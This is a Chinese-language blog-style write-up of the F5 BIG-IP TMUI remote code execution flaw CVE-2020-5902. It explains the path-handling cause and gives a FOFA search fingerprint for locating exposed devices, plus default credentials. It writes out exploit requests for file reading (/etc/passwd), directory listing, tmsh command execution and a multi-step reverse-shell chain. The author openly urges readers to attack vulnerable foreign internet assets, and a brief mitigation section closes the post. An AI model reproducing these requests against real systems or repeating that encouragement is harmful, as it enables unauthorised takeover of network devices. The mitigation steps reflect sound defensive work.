目录
一、F5简介
F5 BIG-IP Edge Gateway是一个接入解决方案,为远程用户提供了SSL VPN远程接入、安全性、应用加速和高可用性服务。F5 BIG-IP是由美国F5 Networks公司制造开发的一系列应用交付平台,具有负载均衡,流量管理,应用程序管理等多种功能。设备经配置后可作为流量控制系统、负载平衡器、防火墙、网关或SSL中间件。
二、漏洞描述
2020年7月1日,F5官方公布流量管理用户界面(TMUI)存在前台远程执行代码(RCE)漏洞(CVE-2020-5902)。攻击者利用该漏洞,可以构造恶意请求,在未授权的情况下获得目标服务器的权限,实现任意远程代码执行。
F5 BIG-IP流量管理用户界面(TMUI)的未公开界面中存在远程代码执行漏洞。该漏洞允许未授权的攻击者或授权用户通过BIG-IP的管理端口或自身IP执行任意系统命令,增删文件,停止服务,或执行任意java代码。该漏洞将导致严重的系统危害,服务器可能被攻击者完全控制,BIG-IP设备也存在此漏洞。
虽然漏洞公布已过去三月有余,但至今仍能在互联网发现存在该漏洞的资产。大家都是二十一世纪即将在社会主义现代化道路上放飞梦想的有痣青年,建议多搞国外的,国内的要是有就尽快向相关漏洞通报平台提交。
例如:
漏洞盒子、补天、CNVD....................
漏洞原因是F5 BIG-IP设备前端采用Apache来接收用户请求,后端可同时处理php和java请求,使用AJP协议处理java应用,通过AJP协议将Apache接收到的数据封装并交给Tomcat。查看具体的配置文件/etc/httpd/conf.d/proxy_ajp.conf。
# /etc/httpd/conf.d/proxy_ajp.conf
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
Apache在处理 /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp ,会认为处理的是 /tmui/login.jsp 文件,但是 .*\.jsp
会进行最大限度的匹配,所以就会将完整的/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp 转给 Tomcat 处理。关于Apache 对访问权限校验的处理,得去看 /etc/httpd/modules/mod_auth_pam.so ,Tomcat 在处理 /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp 的时候,会先去除 ; / 之间的字符。
三、漏洞影响
该漏洞主要存在以下版本
- F5 BIG-IP < 15.1.0.4
- F5 BIG-IP < 14.1.2.6
- F5 BIG-IP < 13.1.3.4
- F5 BIG-IP < 12.1.5.2
- F5 BIG-IP < 11.6.5.2
四、漏洞复现
1. 资产信息收集
利用FOFA搜索引擎搜索,指纹信息:title="BIG-IP@- Redierct"
默认登陆口令有:
F5登录账号:john12334@027168.com/John12334
系统默认账号密码:root/default
Web默认账号密码:admin/admin
其他的内容请利用搜索引擎自行搜索
2. 漏洞复现
任意文件读取
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
列出任意目录
/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/
本图来自互联网,本人未复现成功
命令执行
#查看admin用户的信息
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
#查看所有用户的信息
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user
上传任意文件反弹shell
1.创建
修改alias劫持list命令为bash
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: xx.xx.xx.xx
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://xx.xx.xx.xx/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
command=create+cli+alias+private+list+command+bash
2.写入.sh文件
POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: xx.xx.xx.xx
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://xx.xx.xx.xx/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
fileName=/tmp/xx.sh&content=URL编码后的反弹shell命令
3.反弹shell
执行bash文件
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: xx.xx.xx.xx
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://xx.xx.xx.xx/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
command=list+/tmp/xx.sh
其实到这一步就应该成功了,唉,最终还是失败了,败了,了......,找了一个GitHub贡献的自动化脚本跑也没跑出来,改了半天也没跑出来,算是复现失败了吧。
五、防预
1、使用以下命令登录对应系统
Tmsh
2、编辑 httpd 组件的配置文件
edit /sys httpd all-properties
3、文件内容如下
include ' <LocationMatch ".*..;.*"> Redirect 404 / </LocationMatch> '
4、按照如下操作保存文件
按下 ESC
并依次输入 :wq
5、执行命令刷新配置文件
save /sys config
6、重启 httpd 服务
restart sys service httpd 并禁止外部IP对 TMUI 页面的访问
参考文章
https://blog.csdn.net/qq_36119192/article/details/107168750
https://github.com/jas502n/CVE-2020-5902/tree/c6a3eb32e276c46706d37fb1ee9b71bf9549d30f